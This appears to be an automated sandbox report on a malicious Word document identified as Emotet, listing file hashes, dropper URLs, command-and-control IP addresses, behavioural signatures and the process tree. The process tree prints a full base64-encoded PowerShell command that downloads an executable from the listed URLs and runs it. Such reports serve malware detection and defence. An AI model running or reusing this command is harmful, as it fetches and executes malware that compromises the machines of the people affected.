Analysis
-
max time kernel
151s -
max time network
91s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
31-07-2020 19:36
General
-
Target
Inv U84224.doc
-
Size
170KB
-
MD5
60350a8281ff0393c855e73ae0499b39
-
SHA1
ff3d0c8701810df7f4799ac9260e13c70ca8cff0
-
SHA256
04db06f1f68121c35280f7de56afb08d2392d8213c890b99114e815c14e019ef
-
SHA512
23fd7897e43235e91b5ff8196994b46da5a2ddc175bd17f7637e964da3a475abaff0c9e0c5e2e3550babf06e40cff245032ef591c0e516b08a79ed757dd6bcf0
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://moshauer.de/B9kxs4x8n6272826/
exe.dropper
http://geted.de/wwvv2/sTZFOgzh/
exe.dropper
http://suhailacademy.com/wp-admin/oSHA/
exe.dropper
http://smashingcake.com/blog/HNpury/
exe.dropper
https://taolodge.com/pz/YbU2chs1980/
Extracted
Family
emotet
C2
187.64.128.197:80
198.57.203.63:8080
163.172.107.70:8080
212.112.113.235:80
157.7.164.178:8081
181.167.35.84:80
212.156.133.218:80
185.142.236.163:443
181.143.101.19:8080
75.127.14.170:8080
115.165.3.213:80
190.55.233.156:80
139.59.12.63:8080
144.139.91.187:80
37.70.131.107:80
181.113.229.139:443
41.185.29.128:8080
177.37.81.212:443
5.79.70.250:8080
78.188.170.128:80
rsa_pubkey.plain
Signatures
-
Blacklisted process makes network request 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Drops file in System32 directory 2 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Modifies registry class 280 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv U84224.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\432.exeC:\Users\Admin\432.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\psapi\upnphost.exe"C:\Windows\SysWOW64\psapi\upnphost.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\432.exe
-
C:\Users\Admin\432.exe
-
C:\Windows\SysWOW64\psapi\upnphost.exe
-
memory/820-13-0x0000000000000000-mapping.dmp
-
memory/820-15-0x0000000000270000-0x000000000027C000-memory.dmpFilesize
48KB
-
memory/1480-2-0x0000000008C50000-0x0000000008C54000-memory.dmpFilesize
16KB
-
memory/1480-5-0x000000000B0B0000-0x000000000B0B4000-memory.dmpFilesize
16KB
-
memory/1480-6-0x000000000C130000-0x000000000C134000-memory.dmpFilesize
16KB
-
memory/1480-8-0x0000000002180000-0x0000000002181000-memory.dmpFilesize
4KB
-
memory/1748-11-0x00000000001D0000-0x00000000001DC000-memory.dmpFilesize
48KB